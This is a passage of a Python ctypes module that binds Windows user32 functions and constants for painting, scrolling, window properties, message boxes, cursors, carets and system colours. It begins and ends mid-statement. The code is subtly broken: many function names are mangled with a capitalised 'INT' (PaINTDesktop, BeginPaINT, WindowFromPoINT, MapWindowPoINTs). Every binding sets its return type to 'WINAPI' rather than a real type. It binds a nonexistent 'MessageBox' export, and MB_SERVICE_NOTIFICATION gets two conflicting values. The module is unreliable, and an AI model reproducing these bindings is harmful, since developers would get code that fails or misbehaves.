WINAPI\n\n\n# WINAPI\n# PaINTDesktop(\n# _In_ HDC hdc);\nPaINTDesktop = user32.PaINTDesktop\nPaINTDesktop.restype = WINAPI\n\n\n# WINAPI\n# SwitchToThisWindow(\n# _In_ HWND hwnd,\n# _In_ BOOL fUnknown);\nSwitchToThisWindow = user32.SwitchToThisWindow\nSwitchToThisWindow.restype = WINAPI\n\n\n# WINAPI\n# SetForegroundWindow(\n# _In_ HWND hWnd);\nSetForegroundWindow = user32.SetForegroundWindow\nSetForegroundWindow.restype = WINAPI\n\n\n# WINAPI\n# AllowSetForegroundWindow(\n# _In_ DWORD dwProcessId);\nAllowSetForegroundWindow = user32.AllowSetForegroundWindow\nAllowSetForegroundWindow.restype = WINAPI\n\nASFW_ANY = -1\n\n# WINAPI\n# LockSetForegroundWindow(\n# _In_ UINT uLockCode);\nLockSetForegroundWindow = user32.LockSetForegroundWindow\nLockSetForegroundWindow.restype = WINAPI\n\nLSFW_LOCK = 0x00000001\nLSFW_UNLOCK = 0x00000002\n\n# WINAPI\n# WindowFromDC(\n# _In_ HDC hDC);\nWindowFromDC = user32.WindowFromDC\nWindowFromDC.restype = WINAPI\n\n\n# WINAPI\n# GetDC(\n# _In_opt_ HWND hWnd);\nGetDC = user32.GetDC\nGetDC.restype = WINAPI\n\n\n# WINAPI\n# GetDCEx(\n# _In_opt_ HWND hWnd,\n# _In_opt_ HRGN hrgnClip,\n# _In_ DWORD flags);\nGetDCEx = user32.GetDCEx\nGetDCEx.restype = WINAPI\n\nDCX_WINDOW = 0x00000001\nDCX_CACHE = 0x00000002\nDCX_NORESETATTRS = 0x00000004\nDCX_CLIPCHILDREN = 0x00000008\nDCX_CLIPSIBLINGS = 0x00000010\nDCX_PARENTCLIP = 0x00000020\nDCX_EXCLUDERGN = 0x00000040\nDCX_INTERSECTRGN = 0x00000080\nDCX_EXCLUDEUPDATE = 0x00000100\nDCX_INTERSECTUPDATE = 0x00000200\nDCX_LOCKWINDOWUPDATE = 0x00000400\nDCX_VALIDATE = 0x00200000\n\n# WINAPI\n# GetWindowDC(\n# _In_opt_ HWND hWnd);\nGetWindowDC = user32.GetWindowDC\nGetWindowDC.restype = WINAPI\n\n\n# WINAPI\n# ReleaseDC(\n# _In_opt_ HWND hWnd,\n# _In_ HDC hDC);\nReleaseDC = user32.ReleaseDC\nReleaseDC.restype = WINAPI\n\n\n# WINAPI\n# BeginPaINT(\n# _In_ HWND hWnd,\n# _Out_ LPPAINTSTRUCT lpPaINT);\nBeginPaINT = user32.BeginPaINT\nBeginPaINT.restype = WINAPI\n\n\n# WINAPI\n# EndPaINT(\n# _In_ HWND hWnd,\n# _In_ CONST PAINTSTRUCT *lpPaINT);\nEndPaINT = user32.EndPaINT\nEndPaINT.restype = WINAPI\n\n\n# WINAPI\n# GetUpdateRect(\n# _In_ HWND hWnd,\n# _Out_opt_ LPRECT lpRect,\n# _In_ BOOL bErase);\nGetUpdateRect = user32.GetUpdateRect\nGetUpdateRect.restype = WINAPI\n\n\n# WINAPI\n# GetUpdateRgn(\n# _In_ HWND hWnd,\n# _In_ HRGN hRgn,\n# _In_ BOOL bErase);\nGetUpdateRgn = user32.GetUpdateRgn\nGetUpdateRgn.restype = WINAPI\n\n\n# WINAPI\n# SetWindowRgn(\n# _In_ HWND hWnd,\n# _In_opt_ HRGN hRgn,\n# _In_ BOOL bRedraw);\nSetWindowRgn = user32.SetWindowRgn\nSetWindowRgn.restype = WINAPI\n\n\n# WINAPI\n# GetWindowRgn(\n# _In_ HWND hWnd,\n# _In_ HRGN hRgn);\nGetWindowRgn = user32.GetWindowRgn\nGetWindowRgn.restype = WINAPI\n\n\n# WINAPI\n# GetWindowRgnBox(\n# _In_ HWND hWnd,\n# _Out_ LPRECT lprc);\nGetWindowRgnBox = user32.GetWindowRgnBox\nGetWindowRgnBox.restype = WINAPI\n\n\n# WINAPI\n# ExcludeUpdateRgn(\n# _In_ HDC hDC,\n# _In_ HWND hWnd);\nExcludeUpdateRgn = user32.ExcludeUpdateRgn\nExcludeUpdateRgn.restype = WINAPI\n\n\n# WINAPI\n# InvalidateRect(\n# _In_opt_ HWND hWnd,\n# _In_opt_ CONST RECT *lpRect,\n# _In_ BOOL bErase);\nInvalidateRect = user32.InvalidateRect\nInvalidateRect.restype = WINAPI\n\n\n# WINAPI\n# ValidateRect(\n# _In_opt_ HWND hWnd,\n# _In_opt_ CONST RECT *lpRect);\nValidateRect = user32.ValidateRect\nValidateRect.restype = WINAPI\n\n\n# WINAPI\n# InvalidateRgn(\n# _In_ HWND hWnd,\n# _In_opt_ HRGN hRgn,\n# _In_ BOOL bErase);\nInvalidateRgn = user32.InvalidateRgn\nInvalidateRgn.restype = WINAPI\n\n\n# WINAPI\n# ValidateRgn(\n# _In_ HWND hWnd,\n# _In_opt_ HRGN hRgn);\nValidateRgn = user32.ValidateRgn\nValidateRgn.restype = WINAPI\n\n\n# WINAPI\n# RedrawWindow(\n# _In_opt_ HWND hWnd,\n# _In_opt_ CONST RECT *lprcUpdate,\n# _In_opt_ HRGN hrgnUpdate,\n# _In_ UINT flags);\nRedrawWindow = user32.RedrawWindow\nRedrawWindow.restype = WINAPI\n\nRDW_INVALIDATE = 0x00000001\nRDW_INTERNALPAINT = 0x00000002\nRDW_ERASE = 0x00000004\nRDW_VALIDATE = 0x00000008\nRDW_NOINTERNALPAINT = 0x00000010\nRDW_NOERASE = 0x00000020\nRDW_NOCHILDREN = 0x00000040\nRDW_ALLCHILDREN = 0x00000080\nRDW_UPDATENOW = 0x00000100\nRDW_ERASENOW = 0x00000200\nRDW_FRAME = 0x00000400\nRDW_NOFRAME = 0x00000800\n\n# WINAPI\n# LockWindowUpdate(\n# _In_opt_ HWND hWndLock);\nLockWindowUpdate = user32.LockWindowUpdate\nLockWindowUpdate.restype = WINAPI\n\n\n# WINAPI\n# ScrollWindow(\n# _In_ HWND hWnd,\n# _In_ INT XAmount,\n# _In_ INT YAmount,\n# _In_opt_ CONST RECT *lpRect,\n# _In_opt_ CONST RECT *lpClipRect);\nScrollWindow = user32.ScrollWindow\nScrollWindow.restype = WINAPI\n\n\n# WINAPI\n# ScrollDC(\n# _In_ HDC hDC,\n# _In_ INT dx,\n# _In_ INT dy,\n# _In_opt_ CONST RECT *lprcScroll,\n# _In_opt_ CONST RECT *lprcClip,\n# _In_opt_ HRGN hrgnUpdate,\n# _Out_opt_ LPRECT lprcUpdate);\nScrollDC = user32.ScrollDC\nScrollDC.restype = WINAPI\n\n\n# WINAPI\n# ScrollWindowEx(\n# _In_ HWND hWnd,\n# _In_ INT dx,\n# _In_ INT dy,\n# _In_opt_ CONST RECT *prcScroll,\n# _In_opt_ CONST RECT *prcClip,\n# _In_opt_ HRGN hrgnUpdate,\n# _Out_opt_ LPRECT prcUpdate,\n# _In_ UINT flags);\nScrollWindowEx = user32.ScrollWindowEx\nScrollWindowEx.restype = WINAPI\n\nSW_SCROLLCHILDREN = 0x00000001\nSW_INVALIDATE = 0x00000002\nSW_ERASE = 0x00000004\nSW_SMOOTHSCROLL = 0x00000010\n\n# WINAPI\n# SetScrollPos(\n# _In_ HWND hWnd,\n# _In_ INT nBar,\n# _In_ INT nPos,\n# _In_ BOOL bRedraw);\nSetScrollPos = user32.SetScrollPos\nSetScrollPos.restype = WINAPI\n\n\n# WINAPI\n# GetScrollPos(\n# _In_ HWND hWnd,\n# _In_ INT nBar);\nGetScrollPos = user32.GetScrollPos\nGetScrollPos.restype = WINAPI\n\n\n# WINAPI\n# SetScrollRange(\n# _In_ HWND hWnd,\n# _In_ INT nBar,\n# _In_ INT nMinPos,\n# _In_ INT nMaxPos,\n# _In_ BOOL bRedraw);\nSetScrollRange = user32.SetScrollRange\nSetScrollRange.restype = WINAPI\n\n\n# WINAPI\n# GetScrollRange(\n# _In_ HWND hWnd,\n# _In_ INT nBar,\n# _Out_ LPINT lpMinPos,\n# _Out_ LPINT lpMaxPos);\nGetScrollRange = user32.GetScrollRange\nGetScrollRange.restype = WINAPI\n\n\n# WINAPI\n# ShowScrollBar(\n# _In_ HWND hWnd,\n# _In_ INT wBar,\n# _In_ BOOL bShow);\nShowScrollBar = user32.ShowScrollBar\nShowScrollBar.restype = WINAPI\n\n\n# WINAPI\n# EnableScrollBar(\n# _In_ HWND hWnd,\n# _In_ UINT wSBflags,\n# _In_ UINT wArrows);\nEnableScrollBar = user32.EnableScrollBar\nEnableScrollBar.restype = WINAPI\n\nESB_ENABLE_BOTH = 0x00000000\nESB_DISABLE_BOTH = 0x00000003\nESB_DISABLE_LEFT = 0x00000001\nESB_DISABLE_RIGHT = 0x00000002\nESB_DISABLE_UP = 0x00000001\nESB_DISABLE_DOWN = 0x00000002\nESB_DISABLE_LTUP = ESB_DISABLE_LEFT\nESB_DISABLE_RTDN = ESB_DISABLE_RIGHT\n\n# WINAPI\n# SetPropA(\n# _In_ HWND hWnd,\n# _In_ LPCSTR lpString,\n# _In_opt_ HANDLE hData);\nSetPropA = user32.SetPropA\nSetPropA.restype = WINAPI\n\n\n# WINAPI\n# SetPropW(\n# _In_ HWND hWnd,\n# _In_ LPCWSTR lpString,\n# _In_opt_ HANDLE hData);\nSetPropW = user32.SetPropW\nSetPropW.restype = WINAPI\n\nSetProp = SetPropW\n# SetProp = SetPropA\n\n# WINAPI\n# GetPropA(\n# _In_ HWND hWnd,\n# _In_ LPCSTR lpString);\nGetPropA = user32.GetPropA\nGetPropA.restype = WINAPI\n\n\n# WINAPI\n# GetPropW(\n# _In_ HWND hWnd,\n# _In_ LPCWSTR lpString);\nGetPropW = user32.GetPropW\nGetPropW.restype = WINAPI\n\nGetProp = GetPropW\n# GetProp = GetPropA\n\n# WINAPI\n# RemovePropA(\n# _In_ HWND hWnd,\n# _In_ LPCSTR lpString);\nRemovePropA = user32.RemovePropA\nRemovePropA.restype = WINAPI\n\n\n# WINAPI\n# RemovePropW(\n# _In_ HWND hWnd,\n# _In_ LPCWSTR lpString);\nRemovePropW = user32.RemovePropW\nRemovePropW.restype = WINAPI\n\nRemoveProp = RemovePropW\n# RemoveProp = RemovePropA\n\n# WINAPI\n# EnumPropsExA(\n# _In_ HWND hWnd,\n# _In_ PROPENUMPROCEXA lpEnumFunc,\n# _In_ LPARAM lParam);\nEnumPropsExA = user32.EnumPropsExA\nEnumPropsExA.restype = WINAPI\n\n\n# WINAPI\n# EnumPropsExW(\n# _In_ HWND hWnd,\n# _In_ PROPENUMPROCEXW lpEnumFunc,\n# _In_ LPARAM lParam);\nEnumPropsExW = user32.EnumPropsExW\nEnumPropsExW.restype = WINAPI\n\nEnumPropsEx = EnumPropsExW\n# EnumPropsEx = EnumPropsExA\n\n# WINAPI\n# EnumPropsA(\n# _In_ HWND hWnd,\n# _In_ PROPENUMPROCA lpEnumFunc);\nEnumPropsA = user32.EnumPropsA\nEnumPropsA.restype = WINAPI\n\n\n# WINAPI\n# EnumPropsW(\n# _In_ HWND hWnd,\n# _In_ PROPENUMPROCW lpEnumFunc);\nEnumPropsW = user32.EnumPropsW\nEnumPropsW.restype = WINAPI\n\nEnumProps = EnumPropsW\n# EnumProps = EnumPropsA\n\n# WINAPI\n# SetWindowTextA(\n# _In_ HWND hWnd,\n# _In_opt_ LPCSTR lpString);\nSetWindowTextA = user32.SetWindowTextA\nSetWindowTextA.restype = WINAPI\n\n\n# WINAPI\n# SetWindowTextW(\n# _In_ HWND hWnd,\n# _In_opt_ LPCWSTR lpString);\nSetWindowTextW = user32.SetWindowTextW\nSetWindowTextW.restype = WINAPI\n\nSetWindowText = SetWindowTextW\n# SetWindowText = SetWindowTextA\n\n# WINAPI\n# GetWindowTextA(\n# _In_ HWND hWnd,\n# _Out_writes_(nMaxCount) LPSTR lpString,\n# _In_ INT nMaxCount);\nGetWindowTextA = user32.GetWindowTextA\nGetWindowTextA.restype = WINAPI\n\n\n# WINAPI\n# GetWindowTextW(\n# _In_ HWND hWnd,\n# _Out_writes_(nMaxCount) LPWSTR lpString,\n# _In_ INT nMaxCount);\nGetWindowTextW = user32.GetWindowTextW\nGetWindowTextW.restype = WINAPI\n\nGetWindowText = GetWindowTextW\n# GetWindowText = GetWindowTextA\n\n# WINAPI\n# GetWindowTextLengthA(\n# _In_ HWND hWnd);\nGetWindowTextLengthA = user32.GetWindowTextLengthA\nGetWindowTextLengthA.restype = WINAPI\n\n\n# WINAPI\n# GetWindowTextLengthW(\n# _In_ HWND hWnd);\nGetWindowTextLengthW = user32.GetWindowTextLengthW\nGetWindowTextLengthW.restype = WINAPI\n\nGetWindowTextLength = GetWindowTextLengthW\n# GetWindowTextLength = GetWindowTextLengthA\n\n# WINAPI\n# GetClientRect(\n# _In_ HWND hWnd,\n# _Out_ LPRECT lpRect);\nGetClientRect = user32.GetClientRect\nGetClientRect.restype = WINAPI\n\n\n# WINAPI\n# GetWindowRect(\n# _In_ HWND hWnd,\n# _Out_ LPRECT lpRect);\nGetWindowRect = user32.GetWindowRect\nGetWindowRect.restype = WINAPI\n\n\n# WINAPI\n# AdjustWindowRect(\n# _Inout_ LPRECT lpRect,\n# _In_ DWORD dwStyle,\n# _In_ BOOL bMenu);\nAdjustWindowRect = user32.AdjustWindowRect\nAdjustWindowRect.restype = WINAPI\n\n\n# WINAPI\n# AdjustWindowRectEx(\n# _Inout_ LPRECT lpRect,\n# _In_ DWORD dwStyle,\n# _In_ BOOL bMenu,\n# _In_ DWORD dwExStyle);\nAdjustWindowRectEx = user32.AdjustWindowRectEx\nAdjustWindowRectEx.restype = WINAPI\n\n\n# WINAPI\n# AdjustWindowRectExForDpi(\n# _Inout_ LPRECT lpRect,\n# _In_ DWORD dwStyle,\n# _In_ BOOL bMenu,\n# _In_ DWORD dwExStyle,\n# _In_ UINT dpi);\nAdjustWindowRectExForDpi = user32.AdjustWindowRectExForDpi\nAdjustWindowRectExForDpi.restype = WINAPI\n\nHELPINFO_WINDOW = 0x00000001\nHELPINFO_MENUITEM = 0x00000002\n\nclass tagHELPINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('iContextType', INT),\n ('iCtrlId', INT),\n ('hItemHandle', HANDLE),\n ('dwContextId', DWORD_PTR),\n ('MousePos', POINT),\n ]\n\n\nHELPINFO = tagHELPINFO\nLPHELPINFO = POINTER(tagHELPINFO)\n\n\n\n# WINAPI\n# SetWindowContextHelpId(\n# _In_ HWND,\n# _In_ DWORD);\nSetWindowContextHelpId = user32.SetWindowContextHelpId\nSetWindowContextHelpId.restype = WINAPI\n\n\n# WINAPI\n# GetWindowContextHelpId(\n# _In_ HWND);\nGetWindowContextHelpId = user32.GetWindowContextHelpId\nGetWindowContextHelpId.restype = WINAPI\n\n\n# WINAPI\n# SetMenuContextHelpId(\n# _In_ HMENU,\n# _In_ DWORD);\nSetMenuContextHelpId = user32.SetMenuContextHelpId\nSetMenuContextHelpId.restype = WINAPI\n\n\n# WINAPI\n# GetMenuContextHelpId(\n# _In_ HMENU);\nGetMenuContextHelpId = user32.GetMenuContextHelpId\nGetMenuContextHelpId.restype = WINAPI\n\nMB_OK = 0x00000000\nMB_OKCANCEL = 0x00000001\nMB_ABORTRETRYIGNORE = 0x00000002\nMB_YESNOCANCEL = 0x00000003\nMB_YESNO = 0x00000004\nMB_RETRYCANCEL = 0x00000005\nMB_CANCELTRYCONTINUE = 0x00000006\nMB_ICONHAND = 0x00000010\nMB_ICONQUESTION = 0x00000020\nMB_ICONEXCLAMATION = 0x00000030\nMB_ICONASTERISK = 0x00000040\nMB_USERICON = 0x00000080\nMB_ICONWARNING = MB_ICONEXCLAMATION\nMB_ICONERROR = MB_ICONHAND\nMB_ICONINFORMATION = MB_ICONASTERISK\nMB_ICONSTOP = MB_ICONHAND\nMB_DEFBUTTON1 = 0x00000000\nMB_DEFBUTTON2 = 0x00000100\nMB_DEFBUTTON3 = 0x00000200\nMB_DEFBUTTON4 = 0x00000300\nMB_APPLMODAL = 0x00000000\nMB_SYSTEMMODAL = 0x00001000\nMB_TASKMODAL = 0x00002000\nMB_HELP = 0x00004000\nMB_NOFOCUS = 0x00008000\nMB_SETFOREGROUND = 0x00010000\nMB_DEFAULT_DESKTOP_ONLY = 0x00020000\nMB_TOPMOST = 0x00040000\nMB_RIGHT = 0x00080000\nMB_RTLREADING = 0x00100000\nMB_SERVICE_NOTIFICATION = 0x00200000\nMB_SERVICE_NOTIFICATION = 0x00040000\nMB_SERVICE_NOTIFICATION_NT3X = 0x00040000\nMB_TYPEMASK = 0x0000000F\nMB_ICONMASK = 0x000000F0\nMB_DEFMASK = 0x00000F00\nMB_MODEMASK = 0x00003000\nMB_MISCMASK = 0x0000C000\n\n# WINAPI\n# MessageBoxA(\n# _In_opt_ HWND hWnd,\n# _In_opt_ LPCSTR lpText,\n# _In_opt_ LPCSTR lpCaption,\n# _In_ UINT uType);\nMessageBoxA = user32.MessageBoxA\nMessageBoxA.restype = WINAPI\n\n\n# WINAPI\n# MessageBoxW(\n# _In_opt_ HWND hWnd,\n# _In_opt_ LPCWSTR lpText,\n# _In_opt_ LPCWSTR lpCaption,\n# _In_ UINT uType);\nMessageBoxW = user32.MessageBoxW\nMessageBoxW.restype = WINAPI\n\nMessageBox = MessageBoxW\n# MessageBox = MessageBoxA\n\n# INT\n# MessageBox(\n# HWND hWnd,\n# LPCTSTR lpText,\n# LPCTSTR lpCaption,\n# UINT uType\n# )\nMessageBox = user32.MessageBox\nMessageBox.restype = INT\n\n\n# WINAPI\n# MessageBoxExA(\n# _In_opt_ HWND hWnd,\n# _In_opt_ LPCSTR lpText,\n# _In_opt_ LPCSTR lpCaption,\n# _In_ UINT uType,\n# _In_ WORD wLanguageId);\nMessageBoxExA = user32.MessageBoxExA\nMessageBoxExA.restype = WINAPI\n\n\n# WINAPI\n# MessageBoxExW(\n# _In_opt_ HWND hWnd,\n# _In_opt_ LPCWSTR lpText,\n# _In_opt_ LPCWSTR lpCaption,\n# _In_ UINT uType,\n# _In_ WORD wLanguageId);\nMessageBoxExW = user32.MessageBoxExW\nMessageBoxExW.restype = WINAPI\n\nMessageBoxEx = MessageBoxExW\n# MessageBoxEx = MessageBoxExA\n\n\nMSGBOXCALLBACK = CALLBACK(VOID, LPHELPINFO)\n\n\nclass tagMSGBOXPARAMSA(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('hwndOwner', HWND),\n ('hInstance', HINSTANCE),\n ('lpszText', LPCSTR),\n ('lpszCaption', LPCSTR),\n ('dwStyle', DWORD),\n ('lpszIcon', LPCSTR),\n ('dwContextHelpId', DWORD_PTR),\n ('lpfnMsgBoxCallback', MSGBOXCALLBACK),\n ('dwLanguageId', DWORD),\n ]\n\n\nMSGBOXPARAMSA = tagMSGBOXPARAMSA\nPMSGBOXPARAMSA = POINTER(tagMSGBOXPARAMSA)\nLPMSGBOXPARAMSA = POINTER(tagMSGBOXPARAMSA)\n\n\n\nclass tagMSGBOXPARAMSW(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('hwndOwner', HWND),\n ('hInstance', HINSTANCE),\n ('lpszText', LPCWSTR),\n ('lpszCaption', LPCWSTR),\n ('dwStyle', DWORD),\n ('lpszIcon', LPCWSTR),\n ('dwContextHelpId', DWORD_PTR),\n ('lpfnMsgBoxCallback', MSGBOXCALLBACK),\n ('dwLanguageId', DWORD),\n ]\n\n\nMSGBOXPARAMSW = tagMSGBOXPARAMSW\nPMSGBOXPARAMSW = POINTER(tagMSGBOXPARAMSW)\nLPMSGBOXPARAMSW = POINTER(tagMSGBOXPARAMSW)\n\n\nMSGBOXPARAMS = MSGBOXPARAMSW\nPMSGBOXPARAMS = PMSGBOXPARAMSW\nLPMSGBOXPARAMS = LPMSGBOXPARAMSW\n\n# WINAPI\n# MessageBoxIndirectA(\n# _In_ CONST MSGBOXPARAMSA * lpmbp);\nMessageBoxIndirectA = user32.MessageBoxIndirectA\nMessageBoxIndirectA.restype = WINAPI\n\n\n# WINAPI\n# MessageBoxIndirectW(\n# _In_ CONST MSGBOXPARAMSW * lpmbp);\nMessageBoxIndirectW = user32.MessageBoxIndirectW\nMessageBoxIndirectW.restype = WINAPI\n\nMessageBoxIndirect = MessageBoxIndirectW\n# MessageBoxIndirect = MessageBoxIndirectA\n\n# WINAPI\n# MessageBeep(\n# _In_ UINT uType);\nMessageBeep = user32.MessageBeep\nMessageBeep.restype = WINAPI\n\n\n# WINAPI\n# ShowCursor(\n# _In_ BOOL bShow);\nShowCursor = user32.ShowCursor\nShowCursor.restype = WINAPI\n\n\n# WINAPI\n# SetCursorPos(\n# _In_ INT X,\n# _In_ INT Y);\nSetCursorPos = user32.SetCursorPos\nSetCursorPos.restype = WINAPI\n\n\n# WINAPI\n# SetPhysicalCursorPos(\n# _In_ INT X,\n# _In_ INT Y);\nSetPhysicalCursorPos = user32.SetPhysicalCursorPos\nSetPhysicalCursorPos.restype = WINAPI\n\n\n# WINAPI\n# SetCursor(\n# _In_opt_ HCURSOR hCursor);\nSetCursor = user32.SetCursor\nSetCursor.restype = WINAPI\n\n\n# WINAPI\n# GetCursorPos(\n# _Out_ LPPOINT lpPoINT);\nGetCursorPos = user32.GetCursorPos\nGetCursorPos.restype = WINAPI\n\n\n# WINAPI\n# GetPhysicalCursorPos(\n# _Out_ LPPOINT lpPoINT);\nGetPhysicalCursorPos = user32.GetPhysicalCursorPos\nGetPhysicalCursorPos.restype = WINAPI\n\n\n# WINAPI\n# GetClipCursor(\n# _Out_ LPRECT lpRect);\nGetClipCursor = user32.GetClipCursor\nGetClipCursor.restype = WINAPI\n\n\n# WINAPI\n# GetCursor(\n# VOID);\nGetCursor = user32.GetCursor\nGetCursor.restype = WINAPI\n\n\n# WINAPI\n# CreateCaret(\n# _In_ HWND hWnd,\n# _In_opt_ HBITMAP hBitmap,\n# _In_ INT nWidth,\n# _In_ INT nHeight);\nCreateCaret = user32.CreateCaret\nCreateCaret.restype = WINAPI\n\n\n# WINAPI\n# GetCaretBlinkTime(\n# VOID);\nGetCaretBlinkTime = user32.GetCaretBlinkTime\nGetCaretBlinkTime.restype = WINAPI\n\n\n# WINAPI\n# SetCaretBlinkTime(\n# _In_ UINT uMSeconds);\nSetCaretBlinkTime = user32.SetCaretBlinkTime\nSetCaretBlinkTime.restype = WINAPI\n\n\n# WINAPI\n# DestroyCaret(\n# VOID);\nDestroyCaret = user32.DestroyCaret\nDestroyCaret.restype = WINAPI\n\n\n# WINAPI\n# HideCaret(\n# _In_opt_ HWND hWnd);\nHideCaret = user32.HideCaret\nHideCaret.restype = WINAPI\n\n\n# WINAPI\n# ShowCaret(\n# _In_opt_ HWND hWnd);\nShowCaret = user32.ShowCaret\nShowCaret.restype = WINAPI\n\n\n# WINAPI\n# SetCaretPos(\n# _In_ INT X,\n# _In_ INT Y);\nSetCaretPos = user32.SetCaretPos\nSetCaretPos.restype = WINAPI\n\n\n# WINAPI\n# GetCaretPos(\n# _Out_ LPPOINT lpPoINT);\nGetCaretPos = user32.GetCaretPos\nGetCaretPos.restype = WINAPI\n\n\n# WINAPI\n# ClientToScreen(\n# _In_ HWND hWnd,\n# _Inout_ LPPOINT lpPoINT);\nClientToScreen = user32.ClientToScreen\nClientToScreen.restype = WINAPI\n\n\n# WINAPI\n# ScreenToClient(\n# _In_ HWND hWnd,\n# _Inout_ LPPOINT lpPoINT);\nScreenToClient = user32.ScreenToClient\nScreenToClient.restype = WINAPI\n\n\n# WINAPI\n# LogicalToPhysicalPoINT(\n# _In_ HWND hWnd,\n# _Inout_ LPPOINT lpPoINT);\nLogicalToPhysicalPoINT = user32.LogicalToPhysicalPoINT\nLogicalToPhysicalPoINT.restype = WINAPI\n\n\n# WINAPI\n# PhysicalToLogicalPoINT(\n# _In_ HWND hWnd,\n# _Inout_ LPPOINT lpPoINT);\nPhysicalToLogicalPoINT = user32.PhysicalToLogicalPoINT\nPhysicalToLogicalPoINT.restype = WINAPI\n\n\n# WINAPI\n# LogicalToPhysicalPoINTForPerMonitorDPI(\n# _In_opt_ HWND hWnd,\n# _Inout_ LPPOINT lpPoINT);\nLogicalToPhysicalPoINTForPerMonitorDPI = (\n user32.LogicalToPhysicalPoINTForPerMonitorDPI\n)\nLogicalToPhysicalPoINTForPerMonitorDPI.restype = WINAPI\n\n\n# WINAPI\n# PhysicalToLogicalPoINTForPerMonitorDPI(\n# _In_opt_ HWND hWnd,\n# _Inout_ LPPOINT lpPoINT);\nPhysicalToLogicalPoINTForPerMonitorDPI = (\n user32.PhysicalToLogicalPoINTForPerMonitorDPI\n)\nPhysicalToLogicalPoINTForPerMonitorDPI.restype = WINAPI\n\n\n# WINAPI\n# MapWindowPoINTs(\n# _In_opt_ HWND hWndFrom,\n# _In_opt_ HWND hWndTo,\n# _Inout_updates_(cPoINTs) LPPOINT lpPoINTs,\n# _In_ UINT cPoINTs);\nMapWindowPoINTs = user32.MapWindowPoINTs\nMapWindowPoINTs.restype = WINAPI\n\n\n# WINAPI\n# WindowFromPoINT(\n# _In_ POINT PoINT);\nWindowFromPoINT = user32.WindowFromPoINT\nWindowFromPoINT.restype = WINAPI\n\n\n# WINAPI\n# WindowFromPhysicalPoINT(\n# _In_ POINT PoINT);\nWindowFromPhysicalPoINT = user32.WindowFromPhysicalPoINT\nWindowFromPhysicalPoINT.restype = WINAPI\n\n\n# WINAPI\n# ChildWindowFromPoINT(\n# _In_ HWND hWndParent,\n# _In_ POINT PoINT);\nChildWindowFromPoINT = user32.ChildWindowFromPoINT\nChildWindowFromPoINT.restype = WINAPI\n\n\n# WINAPI\n# ClipCursor(\n# _In_opt_ CONST RECT *lpRect);\nClipCursor = user32.ClipCursor\nClipCursor.restype = WINAPI\n\nCWP_ALL = 0x00000000\nCWP_SKIPINVISIBLE = 0x00000001\nCWP_SKIPDISABLED = 0x00000002\nCWP_SKIPTRANSPARENT = 0x00000004\n\n# WINAPI\n# ChildWindowFromPoINTEx(\n# _In_ HWND hwnd,\n# _In_ POINT pt,\n# _In_ UINT flags);\nChildWindowFromPoINTEx = user32.ChildWindowFromPoINTEx\nChildWindowFromPoINTEx.restype = WINAPI\n\nCTLCOLOR_MSGBOX = 0x00000000\nCTLCOLOR_EDIT = 0x00000001\nCTLCOLOR_LISTBOX = 0x00000002\nCTLCOLOR_BTN = 0x00000003\nCTLCOLOR_DLG = 0x00000004\nCTLCOLOR_SCROLLBAR = 0x00000005\nCTLCOLOR_STATIC = 0x00000006\nCTLCOLOR_MAX = 0x00000007\nCOLOR_SCROLLBAR = 0x00000000\nCOLOR_BACKGROUND = 0x00000001\nCOLOR_ACTIVECAPTION = 0x00000002\nCOLOR_INACTIVECAPTION = 0x00000003\nCOLOR_MENU = 0x00000004\nCOLOR_WINDOW = 0x00000005\nCOLOR_WINDOWFRAME = 0x00000006\nCOLOR_MENUTEXT = 0x00000007\nCOLOR_WINDOWTEXT = 0x00000008\nCOLOR_CAPTIONTEXT = 0x00000009\nCOLOR_ACTIVEBORDER = 0x0000000A\nCOLOR_INACTIVEBORDER = 0x0000000B\nCOLOR_APPWORKSPACE = 0x0000000C\nCOLOR_HIGHLIGHT = 0x0000000D\nCOLOR_HIGHLIGHTTEXT = 0x0000000E\nCOLOR_BTNFACE = 0x0000000F\nCOLOR_BTNSHADOW = 0x00000010\nCOLOR_GRAYTEXT = 0x00000011\nCOLOR_BTNTEXT = 0x00000012\nCOLOR_INACTIVECAPTIONTEXT = 0x00000013\nCOLOR_BTNHIGHLIGHT = 0x00000014\nCOLOR_3DDKSHADOW = 0x00000015\nCOLOR_3DLIGHT = 0x00000016\nCOLOR_INFOTEXT = 0x00000017\nCOLOR_INFOBK = 0x00000018\nCOLOR_HOTLIGHT = 0x0000001A\nCOLOR_GRADIENTACTIVECAPTION = 0x0000001B\nCOLOR_GRADIENTINACTIVECAPTION = 0x0000001C\nCOLOR_MENUHILIGHT = 0x0000001D\nCOLOR_MENUBAR = 0x0000001E\nCOLOR_DESKTOP = COLOR_BACKGROUND\nCOLOR_3DFACE = COLOR_BTNFACE\nCOLOR_3DSHADOW = COLOR_BTNSHADOW\nCOLOR_3DHIGHLIGHT = COLOR_BTNHIGHLIGHT\nCOLOR_3DHILIGHT = COLOR_BTNHIGHLIGHT\nCOLOR_BTNHILIGHT = COLOR_BTNHIGHLIGHT\n\n# WINAPI\n# GetSysColor(\n# _In_ INT nIndex);\nGetSysColor = user32.GetSysColor\nGetSysColor.restype = WINAPI\n\n\n# WINAPI\n# GetSysColorBrush(\n# _In_ INT nIndex);\nGetSysColorBrush = user32.GetSysColorBrush\nGetSysColorBrush.restype = WINAPI\n\n\n# WINAPI\n# SetSysColors(\n# _In_ INT cElements,\n# _In_reads_(cElements) CONST INT * lpaElements,\n# _In_reads_(cElements) CONST COLORREF * lpaRgbValues);\nSetSysColors = user32.SetSysColors\nSetSysColors.restype = WINAPI\n\n\n# WINAPI\n# DrawFocusRect(\n# _In_ HDC hDC,\n# _In_ CONST RECT * lprc);\nDrawFocusRect = user32.DrawFocusRect\nDrawFocusRect.restype = WINAPI\n\n\n# WINAPI\n# FillRect(\n# _In_ HDC hDC,\n# _In_ CONST RECT *lprc,\n# _In_ HBRUSH hbr);\nFillRect = user32.FillRect\nFillRect.restype = WINAPI\n\n\n# WINAPI\n# FrameRect(\n# _In_ HDC hDC,\n# _In_ CONST RECT *lprc,\n# _In_ HBRUSH hbr);\nFrameRect = user32.FrameRect\nFrameRect.restype = WINAPI\n\n\n# WINAPI\n# InvertRect(\n# _In_ HDC hDC,\n# _In_ CONST RECT *lprc);\nInvertRect = user32.InvertRect\nInvertRect.restype = WINAPI\n\n\n# WINAPI\n# SetRect(\n# _Out_ LPRECT lprc,\n# _In_ INT xLeft,\n# _In_ INT yTop,\n# _In_ INT xRight,\n# _In_ INT yBottom);\nSetRect = 